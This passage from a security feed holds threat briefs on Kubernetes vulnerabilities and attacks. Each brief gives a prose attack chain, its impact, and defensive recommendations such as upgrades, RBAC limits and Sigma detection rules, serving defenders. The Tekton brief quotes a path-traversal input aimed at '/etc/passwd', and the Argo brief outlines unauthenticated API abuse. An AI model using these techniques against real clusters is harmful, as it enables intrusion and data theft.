<li>The attacker applies the malicious <code>Model</code> resource to the Kubernetes cluster, triggering the KubeAI model controller.</li>
<li>The <code>parseModelURL()</code> function parses the malicious URL and extracts the unsanitized <code>ref</code> and <code>modelParam</code> components.</li>
<li>The <code>ollamaStartupProbeScript()</code> function constructs a shell command string using <code>fmt.Sprintf</code> with the unsanitized <code>ref</code> and <code>modelParam</code> components. The resulting command is intended to pull or copy the specified model.</li>
<li>The KubeAI model controller creates a pod for the model server, configuring a startup probe that executes the crafted shell command via <code>bash -c</code>.</li>
<li>The Kubernetes kubelet executes the startup probe, running the attacker-injected shell commands within the pod&rsquo;s context.</li>
<li>The attacker achieves arbitrary command execution inside the model server pod, potentially leading to data exfiltration, lateral movement, or compromise of the model serving infrastructure.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows for arbitrary command execution within KubeAI model server pods. This can lead to several severe consequences: data exfiltration from the pod&rsquo;s environment (environment variables, mounted secrets, service account tokens), lateral movement to other cluster resources in multi-tenant environments, and compromise of the model serving infrastructure. An attacker with Model creation permissions can execute arbitrary commands in model pods, potentially accessing sensitive data. The vulnerability affects KubeAI installations version 0.23.1 and earlier.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade KubeAI to a version beyond 0.23.1 that includes the fix for CVE-2026-34940.</li>
<li>Implement strict RBAC policies to limit who can create or update <code>Model</code> custom resources.</li>
<li>Deploy the Sigma rule &ldquo;Detect KubeAI Model Resource Command Injection&rdquo; to identify malicious <code>Model</code> resources being created or updated.</li>
<li>Monitor Kubernetes audit logs for suspicious activity related to <code>Model</code> custom resource creation and updates.</li>
<li>If upgrading is not immediately feasible, consider implementing a Kubernetes admission webhook that validates and sanitizes the <code>spec.url</code> field of <code>Model</code> custom resources, allowing only alphanumeric characters, slashes, colons, dots, and hyphens.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>kubeai</category><category>command-injection</category><category>kubernetes</category><category>cloud</category></item><item><title>Kubectl Network Configuration Modification</title><link>https://feed.craftedsignal.io/briefs/2026-05-kubectl-network-modification/</link><pubDate>Wed, 01 Apr 2026 14:16:09 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-05-kubectl-network-modification/</guid><description>This rule detects potential kubectl network configuration modification activity by monitoring for process events where the kubectl command is executed with arguments that suggest an attempt to modify network configurations in Kubernetes, potentially leading to unauthorized access or data exfiltration.</description><content:encoded><![CDATA[<p>This detection rule identifies potential malicious activity involving the <code>kubectl</code> command-line tool, specifically focusing on modifications to network configurations within Kubernetes environments. The rule monitors for <code>kubectl</code> commands executed with arguments like &ldquo;port-forward&rdquo;, &ldquo;proxy&rdquo;, or &ldquo;expose,&rdquo; which can be used to manipulate network settings. The activity is considered suspicious when initiated from atypical parent processes or directories, such as temporary folders or user home directories. This behavior might indicate an adversary attempting to establish unauthorized access channels or exfiltrate sensitive data. The rule is designed to work with endpoint detection and response (EDR) solutions like Elastic Defend, Crowdstrike, SentinelOne, and cloud workload protection platforms. The rule was last updated on March 30, 2026, and is intended for use in production environments.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker gains initial access to a system with <code>kubectl</code> installed and configured to interact with a Kubernetes cluster.</li>
<li>The attacker executes the <code>kubectl</code> command with arguments like <code>port-forward</code> to create a local port that forwards traffic to a service or pod within the cluster.</li>
<li>The attacker uses <code>kubectl proxy</code> to create a proxy server that allows them to access the Kubernetes API server from their local machine.</li>
<li>The attacker employs <code>kubectl expose</code> to create a new service that exposes a deployment, replication controller, or pod as a new Kubernetes service, potentially opening up unintended access points.</li>
<li>The attacker may execute these commands from a shell like <code>bash</code>, or from a script located in a temporary directory like <code>/tmp/</code> or <code>/var/tmp/</code>, to evade detection.</li>
<li>The attacker leverages the modified network configurations to establish unauthorized access to sensitive services or data within the Kubernetes cluster.</li>
<li>The attacker may use the proxied or forwarded connections to exfiltrate data from the cluster to an external location.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation via <code>kubectl</code> network configuration modification can lead to unauthorized access to sensitive data and services within a Kubernetes cluster. This can result in data breaches, service disruptions, and lateral movement within the cluster. The low severity score suggests that while the risk exists, the impact might be limited if proper Kubernetes security best practices are followed. The rule aims to detect these actions early, preventing potential damage to the cluster.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Enable Elastic Defend integration or equivalent EDR solutions to monitor process execution and network connections (<code>Data Source: Elastic Defend</code>, <code>Data Source: Crowdstrike</code>, <code>Data Source: SentinelOne</code>).</li>
<li>Deploy the provided Sigma rule to detect suspicious <code>kubectl</code> commands with network-related arguments (<code>rules</code> section). Tune the rule based on your environment to minimize false positives.</li>
<li>Investigate any alerts generated by the Sigma rule, focusing on the parent process and the command-line arguments of the <code>kubectl</code> command (<code>rules</code> section, <code>Resources: Investigation Guide</code>).</li>
<li>Implement enhanced monitoring and logging for <code>kubectl</code> activities and network configuration changes within the Kubernetes cluster to proactively detect and respond to similar threats in the future (<code>Resources: Investigation Guide</code>).</li>
</ul>
]]></content:encoded><category domain="severity">low</category><category domain="type">advisory</category><category>kubectl</category><category>kubernetes</category><category>command_and_control</category><category>network_configuration</category><category>linux</category><category>macos</category></item><item><title>Red Hat OpenShift AI Llama Stack Unauthorized Access Vulnerability (CVE-2025-12805)</title><link>https://feed.craftedsignal.io/briefs/2026-03-openshift-ai-vuln/</link><pubDate>Fri, 27 Mar 2026 10:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-03-openshift-ai-vuln/</guid><description>CVE-2025-12805 describes a flaw in Red Hat OpenShift AI (RHOAI) llama-stack-operator that allows unauthorized access to Llama Stack services in other namespaces via direct network requests due to missing NetworkPolicy restrictions, potentially enabling attackers to view or manipulate sensitive data.</description><content:encoded>&lt;p>A vulnerability, CVE-2025-12805, has been identified in Red Hat OpenShift AI (RHOAI) llama-stack-operator. The vulnerability stems from the lack of NetworkPolicy restrictions on the llama-stack service endpoint. This allows a user within one namespace to bypass intended isolation and directly access Llama Stack services deployed in other namespaces. The vulnerability was published on March 26, 2026. Successful exploitation could lead to unauthorized data access and manipulation, impacting the…&lt;/p>
</content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>openshift</category><category>kubernetes</category><category>networkpolicy</category><category>unauthorized-access</category></item><item><title>RedHat Multicluster Engine for Kubernetes Privilege Escalation Vulnerability</title><link>https://feed.craftedsignal.io/briefs/2024-07-redhat-privesc/</link><pubDate>Wed, 25 Mar 2026 10:22:04 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-07-redhat-privesc/</guid><description>A local attacker can exploit a vulnerability in RedHat Multicluster Engine for Kubernetes to escalate privileges.</description><content:encoded><![CDATA[<p>A vulnerability exists within the RedHat Multicluster Engine for Kubernetes that allows a local attacker to escalate their privileges. The specific details of the vulnerability are not disclosed in this advisory, but successful exploitation would grant the attacker elevated permissions within the Kubernetes environment. This issue affects deployments of RedHat Multicluster Engine, potentially impacting the security and integrity of containerized applications and the underlying infrastructure. Defenders should investigate and apply the appropriate patches or mitigations as soon as they become available.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>The attacker gains initial local access to a system running RedHat Multicluster Engine for Kubernetes, possibly through compromised credentials or an existing vulnerability.</li>
<li>The attacker identifies the specific vulnerable component within the RedHat Multicluster Engine.</li>
<li>The attacker crafts a malicious payload designed to exploit the vulnerability.</li>
<li>The attacker executes the payload locally on the compromised system, targeting the vulnerable component.</li>
<li>Successful exploitation grants the attacker elevated privileges within the Kubernetes environment.</li>
<li>The attacker leverages the escalated privileges to access sensitive resources or perform unauthorized actions within the Kubernetes cluster.</li>
<li>The attacker may attempt to further compromise other nodes or services within the cluster.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows a local attacker to escalate their privileges within a RedHat Multicluster Engine for Kubernetes environment. This can lead to unauthorized access to sensitive data, compromise of containerized applications, and potential disruption of services. The impact could range from data breaches to complete cluster takeover, depending on the scope of the attacker&rsquo;s activities after privilege escalation.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor process creation events for suspicious activity within the Kubernetes environment that may indicate exploitation attempts (see generic process creation rules).</li>
<li>Investigate any unexpected privilege escalations or changes in user permissions within the RedHat Multicluster Engine environment.</li>
<li>As details emerge, deploy specific detection rules to identify exploitation of the RedHat Multicluster Engine vulnerability within your environment.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>kubernetes</category><category>privilege-escalation</category><category>cloud</category></item><item><title>Tekton Pipelines Git Resolver Path Traversal Vulnerability</title><link>https://feed.craftedsignal.io/briefs/2026-03-tekton-traversal/</link><pubDate>Tue, 24 Mar 2026 00:16:29 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-03-tekton-traversal/</guid><description>The Tekton Pipelines git resolver is vulnerable to path traversal via the `pathInRepo` parameter, allowing arbitrary file reads from the resolver pod's filesystem, including ServiceAccount tokens.</description><content:encoded><![CDATA[<p>The Tekton Pipelines project provides Kubernetes-style resources for declaring CI/CD pipelines. A path traversal vulnerability exists in the git resolver component, tracked as CVE-2026-33211. This vulnerability affects Tekton Pipelines versions 1.0.0 and prior to 1.0.1, 1.3.3, 1.6.1, 1.9.2, and 1.10.2. An attacker with the ability to create <code>ResolutionRequests</code> (e.g., through <code>TaskRuns</code> or <code>PipelineRuns</code> that utilize the git resolver) can exploit this flaw to read any file from the resolver pod&rsquo;s file system. A successful exploit allows attackers to retrieve sensitive information, such as ServiceAccount tokens, which are base64-encoded and returned in <code>resolutionrequest.status.data</code>. The vulnerability has been patched in versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, and 1.10.2. This poses a significant risk in multi-tenant environments where lateral movement and privilege escalation are possible.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker gains the ability to create <code>TaskRuns</code> or <code>PipelineRuns</code> within a Tekton Pipelines environment.</li>
<li>The attacker crafts a malicious <code>ResolutionRequest</code> that leverages the git resolver.</li>
<li>Within the <code>ResolutionRequest</code>, the attacker injects a path traversal sequence into the <code>pathInRepo</code> parameter, such as &ldquo;../../../../etc/passwd&rdquo;.</li>
<li>The git resolver attempts to resolve the resource using the provided path.</li>
<li>Due to the path traversal vulnerability, the resolver accesses the file specified by the attacker on the resolver pod&rsquo;s file system.</li>
<li>The contents of the accessed file are read by the resolver.</li>
<li>The resolver encodes the file content in base64.</li>
<li>The base64-encoded content is returned in the <code>resolutionrequest.status.data</code> field, allowing the attacker to retrieve the content. This can include sensitive files such as ServiceAccount tokens.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-33211 allows attackers to read arbitrary files from the Tekton Pipelines resolver pod. This can lead to the compromise of sensitive information, including ServiceAccount tokens. If ServiceAccount tokens are compromised, attackers can potentially gain unauthorized access to Kubernetes resources, leading to privilege escalation, lateral movement within the cluster, and potential data exfiltration. The impact is especially high in multi-tenant environments.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Tekton Pipelines to versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, or 1.10.2 or later to patch CVE-2026-33211.</li>
<li>Implement strict RBAC policies to limit the ability to create <code>TaskRuns</code> and <code>PipelineRuns</code> to only authorized users and service accounts.</li>
<li>Monitor Kubernetes API audit logs for suspicious <code>ResolutionRequest</code> creation events (see rule: &ldquo;Detect Suspicious ResolutionRequest Creation&rdquo;).</li>
<li>Implement network policies to restrict network access from the resolver pod to only necessary resources.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>tekton</category><category>path-traversal</category><category>kubernetes</category><category>cve-2026-33211</category><category>cloud</category></item><item><title>TeamPCP's CanisterWorm Kubernetes Wiper Targeting Iran</title><link>https://feed.craftedsignal.io/briefs/2026-03-canisterworm-kubernetes-wiper/</link><pubDate>Mon, 23 Mar 2026 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-03-canisterworm-kubernetes-wiper/</guid><description>TeamPCP's CanisterWorm is a newly identified Kubernetes wiper targeting Iranian infrastructure, indicating a politically motivated destructive attack.</description><content:encoded><![CDATA[<p>TeamPCP has deployed a Kubernetes wiper named CanisterWorm, specifically targeting Iranian infrastructure. This destructive malware is designed to obliterate data within Kubernetes environments. The wiper&rsquo;s emergence in March 2026 signals a heightened level of cyber aggression, particularly given the geopolitical context. Defenders need to be aware of the potential for significant operational disruption and data loss. The targeting of Kubernetes environments reflects a sophisticated understanding of modern infrastructure and the increasing reliance on containerization technologies. This campaign requires immediate attention and proactive security measures to mitigate the risk of successful attacks.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Initial compromise of a node within the Kubernetes cluster, possibly via exploiting a known vulnerability or through compromised credentials.</li>
<li>CanisterWorm gains elevated privileges within the compromised node, potentially using techniques such as privilege escalation exploits.</li>
<li>Discovery of other nodes and resources within the Kubernetes cluster through reconnaissance activities, leveraging the Kubernetes API.</li>
<li>Lateral movement to other nodes using stolen credentials or by exploiting trust relationships between nodes.</li>
<li>Execution of CanisterWorm on each targeted node, initiating the data wiping process.</li>
<li>Overwriting critical system files and data volumes within the containers and pods.</li>
<li>Corruption of Kubernetes configuration files, leading to instability and potential cluster failure.</li>
<li>Final stage involves the complete destruction of data within the Kubernetes environment, rendering the affected systems unusable.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>The successful deployment of CanisterWorm results in widespread data loss and service disruption within the targeted Kubernetes environments. This can lead to significant financial losses, reputational damage, and operational downtime. Given the targeting of Iranian infrastructure, this attack has the potential to impact critical services and government operations. The complete destruction of data necessitates extensive recovery efforts and may result in permanent data loss if backups are not available or are also compromised.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor Kubernetes API server logs for suspicious activity, particularly attempts to list or access sensitive resources to detect reconnaissance (reference: Attack Chain step 3).</li>
<li>Implement network segmentation and strict access controls within the Kubernetes cluster to limit lateral movement (reference: Attack Chain step 4).</li>
<li>Deploy the Sigma rule <code>Detect Suspicious Kubernetes Pod Deletion</code> to identify potential wipe attempts.</li>
<li>Review and harden Kubernetes security configurations, including RBAC (Role-Based Access Control) policies, to prevent unauthorized access (reference: Attack Chain step 2).</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">threat</category><category>kubernetes</category><category>wiper</category><category>iran</category><category>canisterworm</category><category>teampcp</category><category>destructive-attack</category></item><item><title>Kubernetes Sensitive Role Creation or Modification</title><link>https://feed.craftedsignal.io/briefs/2026-03-kubernetes-role-modification/</link><pubDate>Thu, 05 Mar 2026 13:13:30 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-03-kubernetes-role-modification/</guid><description>This rule detects the creation or modification of Kubernetes Roles or ClusterRoles that grant high-risk permissions, such as wildcard access or RBAC escalation verbs (e.g., bind, escalate, impersonate), potentially leading to privilege escalation or unauthorized access within the cluster.</description><content:encoded><![CDATA[<p>This detection rule, sourced from Elastic&rsquo;s detection-rules repository, focuses on identifying malicious activity within Kubernetes environments. Specifically, it targets the creation, update, or patching of Roles and ClusterRoles that introduce high-risk RBAC permissions. These permissions include wildcard access (e.g., <code>*</code>) and escalation verbs such as <code>bind</code>, <code>escalate</code>, or <code>impersonate</code>. The rule leverages audit logs to monitor these actions and flags those that could lead to privilege escalation or unauthorized access. The rule aims to detect attackers attempting to add a new ClusterRole with <code>*</code> verbs/resources and then using it to bind themselves or a service account to cluster-admin–equivalent access. This is important because attackers can silently expand privileges and enable persistence or lateral movement across the cluster.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker gains initial access to a Kubernetes cluster, possibly through compromised credentials or a vulnerable application.</li>
<li>The attacker attempts to create a new ClusterRole or Role with broad permissions, including wildcard verbs and resources.</li>
<li>The attacker may use <code>kubectl</code> or a similar tool to apply a YAML manifest defining the malicious role.</li>
<li>The Kubernetes API server receives the request to create the role, and the audit logging system captures the event.</li>
<li>The attacker then attempts to bind the newly created role to a service account or user, granting them the elevated permissions. This is achieved by creating or modifying a RoleBinding or ClusterRoleBinding object.</li>
<li>The Kubernetes API server logs the creation or modification of the RoleBinding or ClusterRoleBinding.</li>
<li>With the elevated permissions, the attacker can now perform actions they were previously unauthorized to do, such as accessing sensitive data, deploying malicious containers, or modifying cluster configurations.</li>
<li>The attacker leverages these elevated privileges to establish persistence within the cluster and potentially move laterally to other resources or environments.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>A successful attack can lead to full cluster compromise, allowing the attacker to control all resources and data within the Kubernetes environment. This can result in data breaches, service disruptions, and significant financial losses. The severity depends on the scope of the compromised role and the resources it grants access to. Even seemingly minor modifications can have a cascading effect, enabling attackers to gain complete control over critical systems.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule &ldquo;Kubernetes Creation or Modification of Sensitive Role&rdquo; to your SIEM and tune it for your environment to detect suspicious RBAC changes (rule.name).</li>
<li>Monitor Kubernetes audit logs for the creation or modification of Roles and ClusterRoles with wildcard permissions or escalation verbs (kubernetes.audit.requestObject.rules.verbs, kubernetes.audit.requestObject.rules.resources).</li>
<li>Implement RBAC guardrails, such as OPA Gatekeeper or Kyverno policies, to prevent the creation of overly permissive roles (references).</li>
<li>Restrict who can create or update RBAC objects and require all RBAC changes to go through code review and signed GitOps automation (references).</li>
<li>Regularly review existing Roles and ClusterRoles to identify and remove any unnecessary or overly broad permissions.</li>
<li>Enable Sysmon process creation logging on nodes to enhance detection capabilities around kubectl usage.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>kubernetes</category><category>rbac</category><category>privilege-escalation</category><category>persistence</category></item><item><title>Kubernetes Endpoint Permission Enumeration</title><link>https://feed.craftedsignal.io/briefs/2024-01-26-kubernetes-enumeration/</link><pubDate>Thu, 05 Mar 2026 13:13:30 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-26-kubernetes-enumeration/</guid><description>A single user and source IP attempts to enumerate Kubernetes endpoints, issuing API requests across multiple endpoints to identify accessible resources for further exploitation.</description><content:encoded><![CDATA[<p>This detection identifies potential endpoint enumeration attempts within a Kubernetes environment. An attacker, or a compromised account, may attempt to map accessible resources within the Kubernetes cluster by issuing a burst of API calls across multiple endpoints from a single user and source IP address. This is achieved through a combination of both successful and failed API requests.  The behavior is not typical of normal Kubernetes cluster operation. Attackers leverage this reconnaissance to identify high-value targets like secrets, pods, or nodes before attempting privilege escalation or lateral movement. The rule specifically looks for unusual patterns in Kubernetes audit logs.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>The attacker gains initial access to the Kubernetes cluster, potentially through compromised credentials or a vulnerable application.</li>
<li>The attacker uses <code>kubectl</code> or a similar tool to send a series of API requests.</li>
<li>The attacker attempts to enumerate Kubernetes API endpoints using &ldquo;get&rdquo;, &ldquo;list&rdquo;, &ldquo;watch&rdquo;, &ldquo;create&rdquo;, &ldquo;update&rdquo;, and &ldquo;patch&rdquo; verbs.</li>
<li>The requests target a variety of resources, including pods, services, deployments, secrets, and nodes.</li>
<li>The attacker analyzes the responses to identify endpoints and resources that are accessible with the current credentials. Successful and failed responses are both valuable for mapping permissions.</li>
<li>The attacker identifies valuable targets, such as secrets or sensitive data stored in configmaps.</li>
<li>The attacker attempts to escalate privileges by exploiting identified vulnerabilities or misconfigurations.</li>
<li>The attacker moves laterally within the cluster to gain access to other resources or workloads.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful enumeration can lead to privilege escalation, lateral movement, and data exfiltration within the Kubernetes cluster. Attackers can identify and compromise sensitive resources such as secrets, configmaps, and pods. The number of affected systems and the scope of the impact depend on the extent of the attacker&rsquo;s access and the sensitivity of the compromised resources.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Enable Kubernetes audit logging to capture API server requests and responses, which is required for the provided rules and the original Elastic rule.</li>
<li>Deploy the Sigma rules provided below to your SIEM to detect enumeration attempts and tune them based on your environment.</li>
<li>Enforce the principle of least privilege by assigning appropriate RBAC roles to users and service accounts to limit potential enumeration damage.</li>
<li>Monitor Kubernetes audit logs for unusual API request patterns, specifically a high number of requests from a single user and IP address.</li>
<li>Review RBAC bindings for unexpected or overly broad access as mentioned in the overview.</li>
<li>Segment API access with network controls (private endpoint/VPN allowlists) as suggested in the response section of the overview.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>kubernetes</category><category>enumeration</category><category>discovery</category></item><item><title>Suspicious Pod Creation in Kubernetes System Namespace</title><link>https://feed.craftedsignal.io/briefs/2024-11-kubernetes-pod-creation/</link><pubDate>Thu, 07 Nov 2024 14:23:50 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-11-kubernetes-pod-creation/</guid><description>An attacker may deploy a pod within the kube-system namespace in Kubernetes to mimic legitimate system pods and evade detection.</description><content:encoded><![CDATA[<p>Attackers can exploit the trust associated with the kube-system namespace in Kubernetes to deploy malicious pods. By naming these pods similarly to legitimate system pods (e.g., kube-proxy-bv61v), they attempt to blend in and avoid detection. This technique leverages the fact that system pods created by controllers like Deployments or DaemonSets have random suffixes in their names, making it difficult to distinguish malicious pods from legitimate ones based on naming conventions alone. The deployment of a backdoor container in the kube-system namespace alongside other administrative containers poses a significant risk.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Compromise a Kubernetes cluster with sufficient privileges to deploy pods.</li>
<li>Identify existing pods in the kube-system namespace, noting naming conventions and suffixes.</li>
<li>Craft a pod manifest for a malicious container, naming it to resemble a legitimate system pod (e.g., kube-proxy-xxxx).</li>
<li>Deploy the malicious pod to the kube-system namespace using kubectl apply -f &lt;pod_manifest.yaml&gt;.</li>
<li>The malicious pod executes its intended function, such as establishing a reverse shell or providing unauthorized access.</li>
<li>The attacker maintains persistence by ensuring the malicious pod is recreated if deleted, possibly via a custom controller.</li>
<li>The attacker performs lateral movement to other resources within the cluster from the compromised pod.</li>
<li>The attacker achieves their objective, such as data exfiltration or denial of service, using the compromised pod as a base of operations.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful deployment of malicious pods in the kube-system namespace can lead to a range of impacts, including unauthorized access to sensitive resources, data exfiltration, and denial of service. This can compromise the entire Kubernetes cluster and any applications it hosts. The number of affected systems depends on the scope of the compromised cluster, but it could potentially impact all applications and data within the environment.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule <code>Creation Of Pod In System Namespace</code> to your SIEM to detect suspicious pod creations in the kube-system namespace.</li>
<li>Investigate any alerts generated by the <code>Creation Of Pod In System Namespace</code> Sigma rule to determine if the pod creation is legitimate or malicious.</li>
<li>Implement strong RBAC policies to limit the ability of users and service accounts to create pods in the kube-system namespace.</li>
<li>Regularly audit pod deployments in the kube-system namespace to identify any unauthorized or suspicious activity.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>kubernetes</category><category>pod</category><category>kube-system</category><category>container</category></item><item><title>Kubernetes Admission Controller Modification</title><link>https://feed.craftedsignal.io/briefs/2024-11-kubernetes-admission-controller-modification/</link><pubDate>Fri, 01 Nov 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-11-kubernetes-admission-controller-modification/</guid><description>An adversary modifies Kubernetes admission controller configurations to achieve persistence, escalate privileges, or gain unauthorized access to credentials within the cluster.</description><content:encoded><![CDATA[<p>The Kubernetes admission controller is a crucial component that governs API requests to a Kubernetes cluster. Attackers can modify mutating or validating webhook configurations to intercept and manipulate these requests. By creating, updating, or replacing these configurations, adversaries can inject malicious code, alter resource definitions, or even exfiltrate sensitive information like access credentials. This activity can lead to privilege escalation, persistence within the cluster, and ultimately, a compromise of the entire Kubernetes environment. The attacks are typically stealthy as they operate within the legitimate Kubernetes API framework, making detection challenging. This behavior is particularly concerning for organizations relying on Kubernetes for critical applications and sensitive data.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li><strong>Initial Access:</strong> The attacker gains initial access to the Kubernetes cluster, potentially through compromised credentials or a vulnerability in a deployed application.</li>
<li><strong>Discovery:</strong> The attacker enumerates existing admission controller configurations (mutatingwebhookconfigurations and validatingwebhookconfigurations) to identify potential targets.</li>
<li><strong>Configuration Modification:</strong> The attacker uses <code>kubectl</code> or the Kubernetes API to create, update, or replace a webhook configuration. This involves crafting a malicious webhook that will intercept API requests.</li>
<li><strong>Webhook Deployment:</strong> The malicious webhook is deployed as a service within the Kubernetes cluster.</li>
<li><strong>API Interception:</strong> When a user or application makes an API request that matches the webhook&rsquo;s defined rules, the webhook intercepts the request.</li>
<li><strong>Malicious Code Injection:</strong> The webhook injects malicious code or alters the API request to achieve the attacker&rsquo;s objectives (e.g., granting unauthorized permissions, modifying resource configurations).</li>
<li><strong>Persistence/Privilege Escalation/Credential Access:</strong> Depending on the injected code, the attacker achieves persistence by ensuring malicious code is always present, escalates privileges by modifying role bindings, or accesses credentials by intercepting secret creation requests.</li>
<li><strong>Lateral Movement/Data Exfiltration:</strong> The attacker leverages their gained access to move laterally within the cluster or exfiltrate sensitive data.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful modification of Kubernetes admission controllers can have severe consequences. This can result in unauthorized access to sensitive data, complete cluster compromise, and denial of service. The impact ranges from data breaches and service disruptions to long-term persistence within the environment, allowing attackers to maintain control over the cluster. The stealthy nature of this attack makes it difficult to detect, potentially allowing attackers to operate undetected for extended periods.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule &ldquo;Kubernetes Admission Controller Modification&rdquo; to your SIEM and tune it for your environment to detect suspicious modifications to webhook configurations (logsource: kubernetes, service: audit).</li>
<li>Monitor Kubernetes audit logs for <code>create</code>, <code>delete</code>, <code>patch</code>, <code>replace</code>, and <code>update</code> verbs on <code>mutatingwebhookconfigurations</code> and <code>validatingwebhookconfigurations</code> resources (logsource: kubernetes, service: audit).</li>
<li>Implement strong RBAC policies to limit access to Kubernetes API resources and prevent unauthorized modification of admission controller configurations.</li>
<li>Regularly review and audit existing admission controller configurations to identify any unexpected or malicious webhooks.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>kubernetes</category><category>admission-controller</category><category>privilege-escalation</category><category>persistence</category><category>credential-access</category></item><item><title>Argo Workflows ConfigMap Sync Service Missing Authorization Vulnerability</title><link>https://feed.craftedsignal.io/briefs/2024-05-argo-configmap-auth-bypass/</link><pubDate>Fri, 03 May 2024 16:23:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-05-argo-configmap-auth-bypass/</guid><description>The Sync Service's ConfigMap-backed provider in Argo Workflows performs zero authorization checks on all CRUD operations, allowing any authenticated user to create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits, potentially leading to denial of service, workflow disruption, information disclosure, or arbitrary ConfigMap manipulation in Argo Workflows versions v4.0.0 to v4.0.4.</description><content:encoded><![CDATA[<p>Argo Workflows, a Kubernetes-native workflow engine, is vulnerable to an authorization bypass in its Sync Service&rsquo;s ConfigMap-backed provider. This vulnerability, present in versions 4.0.0 through 4.0.4, stems from a lack of authorization checks on CRUD operations performed on ConfigMaps. This means that any authenticated user, even with a fake Bearer token, can create, read, update, and delete Kubernetes ConfigMaps used for synchronization limits. This flaw allows attackers to potentially disrupt workflow execution, access sensitive configuration data, or even manipulate ConfigMaps in namespaces accessible to the server&rsquo;s service account. The vulnerability was reported on May 4, 2026, and poses a significant risk to Argo Workflows deployments.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains network access to the Argo Server.</li>
<li>Attacker authenticates to the Argo Server using any valid or even a &ldquo;fake&rdquo; Bearer token (e.g., <code>fake-token</code>).</li>
<li>Attacker crafts a POST request to the <code>/api/v1/sync/default</code> endpoint to create a new Sync Limit ConfigMap with specified parameters like namespace, ConfigMap name, key, and limit.</li>
<li>The Argo Server&rsquo;s <code>configMapSyncProvider.createSyncLimit</code> function executes without performing any authorization checks.</li>
<li>The function uses the Kubernetes client to create a ConfigMap in the specified namespace based on the attacker&rsquo;s input.</li>
<li>Attacker can subsequently send GET, PUT, or DELETE requests to <code>/api/v1/sync/default/{key}</code> to read, update, or delete existing Sync Limit ConfigMaps without authorization.</li>
<li>The Argo Server processes these requests, modifying the ConfigMaps accordingly, due to the missing <code>auth.CanI</code> checks.</li>
<li>The attacker disrupts workflow execution, gains access to sensitive configuration data, or manipulates ConfigMaps, leading to denial of service or other malicious outcomes.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows an attacker with network access to the Argo Server and valid or fake authentication credentials to perform several malicious actions. They can cause a denial of service by setting sync limits to zero or a very low number, effectively blocking parallel workflow execution. Attackers can also disrupt running workflows by modifying existing sync limits. Furthermore, they can gain access to sensitive information by reading ConfigMap data or manipulate ConfigMaps in any namespace accessible to the server&rsquo;s service account. This could lead to complete compromise of the Argo Workflows environment.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade to Argo Workflows version 4.0.5 or later to patch CVE-2026-42297 and mitigate the missing authorization checks.</li>
